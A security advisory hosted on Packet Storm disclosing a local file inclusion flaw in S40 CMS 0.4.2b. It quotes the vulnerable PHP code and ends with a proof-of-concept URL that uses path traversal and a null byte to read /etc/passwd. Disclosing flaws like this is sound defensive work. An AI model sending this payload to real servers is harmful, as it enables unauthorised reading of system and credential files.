exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

S40 CMS 0.4.2b Local File Inclusion

S40 CMS 0.4.2b Local File Inclusion
Posted Apr 7, 2011
Authored by Osirys | Site y-osirys.com

S40 CMS version 0.4.2b suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | cdeb09a0f1390c3f32b053d7ee5f8c94b4566882ad81feeb09c6f09346bf55d8

S40 CMS 0.4.2b Local File Inclusion

Change Mirror Download
[Security Advisory Details: 07/04/2001]

[Script] S40 CMS 0.4.2 Beta
[Location] http://s40.biz/?p=download
[Vulnerability] Local File Inclusion
[Original Adv] http://y-osirys.com/security/exploits/id27
[Author] Giovanni Buzzin, "Osirys"
[Site] y-osirys.com
[Contact] osirys[at]autistici[dot]org


------------------------------------------------------------------------------------------------------------
[CMS Description]

S40 CMS is FREE Content Management System
S40 CMS 0.4 beta is lightwieght flat file CMS written on PHP, suitable for small and medium sites.
S40 is open-source MIT-license CMS developed by AWEN art studio Ltd.
S40 is fast and easy to customize system with build-in installer.


------------------------------------------------------------------------------------------------------------
[Security Flaw]

S40 CMS is prone to Local File Inclusion vulnerability because of poor security checks and bad input
sanitization: GET variables are not properly sanitized before being included via require() PHP function.

[code:index.php]

<?php
ob_start("ob_gzhandler"); // comment this line to disable gzip compression
require "inc/config.php";
require "inc/langs/".$s40[lang] .".php";
if ($s40[installed]){
require "inc/functions.php";
checkinstall();
require page($_GET[p],$_GET[c],$_GET[g],$_GET[gp]);

....

[/code]

Having a quick look at page() function, the security issue is clear: $pid ($_GET['p']), is not sanitized
or passed through a valid regular expression before being returned to require() function of index.php file.

[code:/inc/functions.php:page():line 13]

function page($pid,$cid,$gid,$gp){
if(!isset($pid)){
$p = "index";
return "data/".$p.".page.php";
}else{
if (isset($pid) and isset($cid)){
if(!file_exists("data/".$pid.".child.".$cid.".php")){
return "data/404.inc";
}else{
$p = $pid;
$c = $cid;
return "data/".$p.".child.".$c.".php";
}
}else{
if(!file_exists("data/".$pid.".page.php")){
return "data/404.inc";
}else{
$p = $pid;
return "data/".$p.".page.php";
}
}
}
}
....

[/code]


------------------------------------------------------------------------------------------------------------
[Exploit]

The security issue can be exploited sending a valid path via GET request. Null Byte must be used in
order to exploit this LFI.

PoC : /[cms_path]/?p=[local_file]%00
/[cms_path]/?p=/../../../../../../../etc/passwd%00


------------------------------------------------------------------------------------------------------------
[Credits]

Credit goes to Giovanni Buzzin, "Osirys" for the discover of this vulnerability.
(Meglio)


------------------------------------------------------------------------------------------------------------
[END: 07/04/2011]

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close